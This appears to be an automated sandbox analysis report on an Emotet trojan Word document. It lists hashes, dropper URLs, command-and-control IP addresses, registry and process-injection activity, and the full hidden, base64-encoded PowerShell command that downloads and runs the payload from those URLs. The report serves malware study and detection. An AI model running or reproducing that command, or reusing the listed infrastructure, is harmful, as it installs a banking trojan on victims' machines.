emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
147s
max time network
139s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-20_105835.doc
Size

239KB
MD5

8e07617cbf66fb32f3f8db4a9840714e
SHA1

1efb79562154fd33aca13d5c072fbcb514c69308
SHA256

d9a35a56085cede0cb1cfc21968dcef4906e09c66585b572948882c6a1f89a4f
SHA512

7c868a19a0814984fada4721d6384138a32213ce0dc3a3287c1d796923f114b187a58d164fd9794c3b10da9538aff56bde6dd9257e0dc2a5086b685aa7dce12d

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.xishicanting.com/wp-admin/jIx/

exe.dropper

http://goharm.com/wp-content/WPsA5Ny/

exe.dropper

http://testtaglabel.com/wp-includes/LqYA88863/

exe.dropper

https://dynomind.tech/wp-admin/mSDV53/

exe.dropper

https://nicest-packaging.com/calendar/He81/

Extracted

Family

emotet

190.131.167.50:80

68.174.15.223:80

72.29.55.174:80

192.241.143.52:8080

159.65.241.220:8080

45.79.95.107:443

69.163.33.84:8080

91.83.93.124:7080

152.231.89.226:80

142.93.114.137:8080

94.200.114.162:80

87.106.46.107:8080

187.188.166.192:8080

191.183.21.190:80

149.62.173.247:8080

91.242.136.103:80

79.7.158.208:80

181.167.96.215:80

201.213.100.141:8080

2.42.173.240:80

rsa_pubkey.plain

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2000	1964	Powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Powershell.exekhmermexico.exe

pid process

2000 Powershell.exe
2000 Powershell.exe
2000 Powershell.exe
1824 khmermexico.exe

pid	process
2000	Powershell.exe
2000	Powershell.exe
2000	Powershell.exe
1824	khmermexico.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C28D3C8C-F29A-4BA7-B2B1-AA69019F1344}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{C28D3C8C-F29A-4BA7-B2B1-AA69019F1344}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C28D3C8C-F29A-4BA7-B2B1-AA69019F1344}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C28D3C8C-F29A-4BA7-B2B1-AA69019F1344}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE

Blacklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

4 2000 Powershell.exe
9 2000 Powershell.exe

flow	pid	process
4	2000	Powershell.exe
9	2000	Powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Powershell.exe434.exekhmermexico.exe

description	pid	process	target process
PID 2000 wrote to memory of 1672	2000	Powershell.exe	434.exe
PID 2000 wrote to memory of 1672	2000	Powershell.exe	434.exe
PID 2000 wrote to memory of 1672	2000	Powershell.exe	434.exe
PID 2000 wrote to memory of 1672	2000	Powershell.exe	434.exe
PID 1672 wrote to memory of 1736	1672	434.exe	434.exe
PID 1672 wrote to memory of 1736	1672	434.exe	434.exe
PID 1672 wrote to memory of 1736	1672	434.exe	434.exe
PID 1672 wrote to memory of 1736	1672	434.exe	434.exe
PID 1836 wrote to memory of 1824	1836	khmermexico.exe	khmermexico.exe
PID 1836 wrote to memory of 1824	1836	khmermexico.exe	khmermexico.exe
PID 1836 wrote to memory of 1824	1836	khmermexico.exe	khmermexico.exe
PID 1836 wrote to memory of 1824	1836	khmermexico.exe	khmermexico.exe

Executes dropped EXE 4 IoCs

Processes:

434.exe434.exekhmermexico.exekhmermexico.exe

pid process

1672 434.exe
1736 434.exe
1836 khmermexico.exe
1824 khmermexico.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

434.exekhmermexico.exe

pid process

1736 434.exe
1824 khmermexico.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1864 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1864 WINWORD.EXE
1864 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 2000 Powershell.exe
Office loads VBA resources, possible macro or embedded object present

pid	process
1672	434.exe
1736	434.exe
1836	khmermexico.exe
1824	khmermexico.exe

pid	process
1736	434.exe
1824	khmermexico.exe

pid	process
1864	WINWORD.EXE

pid	process
1864	WINWORD.EXE
1864	WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	2000	Powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

Powershell.exe434.exekhmermexico.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe
File renamed	C:\Users\Admin\434.exe => C:\Windows\SysWOW64\khmermexico.exe	434.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	khmermexico.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-20_105835.doc"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGwAagB5AGkAbgBmAGsAZQBwAHoAbAA9ACcARwBpAGcAdwBzAGYAcABoAGYAcgByACcAOwAkAEgAdwBtAGcAZwBoAG8AeQBhAHEAbgAgAD0AIAAnADQAMwA0ACcAOwAkAFgAdABxAGcAdAB4AGUAbAB0AD0AJwBHAHQAZgBkAGcAbgB2AGMAcwBpACcAOwAkAFUAcQBzAHoAdwBjAGQAdgB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABIAHcAbQBnAGcAaABvAHkAYQBxAG4AKwAnAC4AZQB4AGUAJwA7ACQAVAB2AHIAZgBvAGYAcgBnAHgAagB5AG0APQAnAFQAcwBoAGwAdgBwAGIAawBsAGwAawBlAHoAJwA7ACQAUgBqAGoAaABhAGIAYQBrAG4AbgB3AGEAegA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQAWAB3AHQAYgB3AG8AZABrAGoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB4AGkAcwBoAGkAYwBhAG4AdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AagBJAHgALwAqAGgAdAB0AHAAOgAvAC8AZwBvAGgAYQByAG0ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFAAcwBBADUATgB5AC8AKgBoAHQAdABwADoALwAvAHQAZQBzAHQAdABhAGcAbABhAGIAZQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBMAHEAWQBBADgAOAA4ADYAMwAvACoAaAB0AHQAcABzADoALwAvAGQAeQBuAG8AbQBpAG4AZAAuAHQAZQBjAGgALwB3AHAALQBhAGQAbQBpAG4ALwBtAFMARABWADUAMwAvACoAaAB0AHQAcABzADoALwAvAG4AaQBjAGUAcwB0AC0AcABhAGMAawBhAGcAaQBuAGcALgBjAG8AbQAvAGMAYQBsAGUAbgBkAGEAcgAvAEgAZQA4ADEALwAnAC4AIgBTAGAAcABsAEkAdAAiACgAJwAqACcAKQA7ACQASgBsAHkAaABhAHgAawBiAHIAcABmAGMAeQA9ACcAVgBzAHMAaAB0AGMAdQBoAG0AYgByAGoAawAnADsAZgBvAHIAZQBhAGMAaAAoACQARQBlAG8AYwBlAHgAcgBsAHYAdwAgAGkAbgAgACQAWAB3AHQAYgB3AG8AZABrAGoAKQB7AHQAcgB5AHsAJABSAGoAagBoAGEAYgBhAGsAbgBuAHcAYQB6AC4AIgBEAG8AVwBgAE4ATABgAG8AQQBEAGAARgBpAEwARQAiACgAJABFAGUAbwBjAGUAeAByAGwAdgB3ACwAIAAkAFUAcQBzAHoAdwBjAGQAdgB1ACkAOwAkAEsAZgBtAGsAbwB5AGEAZQBrAGMAaQBxAD0AJwBQAG0AZAB2AG4AcQByAGwAcwBsAHQAbwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAFUAcQBzAHoAdwBjAGQAdgB1ACkALgAiAGwAYABFAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADIAOAAwADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBxAHMAegB3AGMAZAB2AHUAKQA7ACQASQBvAGEAdwB3AGYAYQBwAG4APQAnAFYAbwBoAGUAbABtAGYAbQB4AG8AbwBuAHcAJwA7AGIAcgBlAGEAawA7ACQAWQBuAGIAcgBhAHUAbwB5AD0AJwBIAHUAdABwAHAAeABwAHYAbwB2AGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBnAGkAcgBvAHIAdQBhAGUAZwBzAD0AJwBPAHcAegBlAGcAcABmAHEAZABzACcA
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
PID:2000

C:\Users\Admin\434.exe
"C:\Users\Admin\434.exe"
2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:1672

C:\Users\Admin\434.exe
--c348a953
3⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:1736

C:\Windows\SysWOW64\khmermexico.exe
"C:\Windows\SysWOW64\khmermexico.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:1836

C:\Windows\SysWOW64\khmermexico.exe
--87c6e8
2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:1824

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\434.exe

Download Submit
C:\Users\Admin\434.exe

Download Submit
C:\Users\Admin\434.exe

Download Submit
C:\Windows\SysWOW64\khmermexico.exe

Download Submit
C:\Windows\SysWOW64\khmermexico.exe

Download Submit
memory/1672-9-0x00000000002A0000-0x00000000002B6000-memory.dmp

Filesize
88KB

Download
memory/1736-12-0x0000000000400000-0x000000000047C000-memory.dmp

Filesize
496KB

Download
memory/1824-16-0x00000000002B0000-0x00000000002C6000-memory.dmp

Filesize
88KB

Download
memory/1824-17-0x0000000000400000-0x000000000047C000-memory.dmp

Filesize
496KB

Download
memory/1836-14-0x0000000000480000-0x0000000000496000-memory.dmp

Filesize
88KB

Download
memory/1864-6-0x000000000B070000-0x000000000B074000-memory.dmp

Filesize
16KB

Download
memory/1864-2-0x0000000008BE0000-0x0000000008BE4000-memory.dmp

Filesize
16KB

Download
memory/1864-5-0x000000000B070000-0x000000000B074000-memory.dmp

Filesize
16KB

Download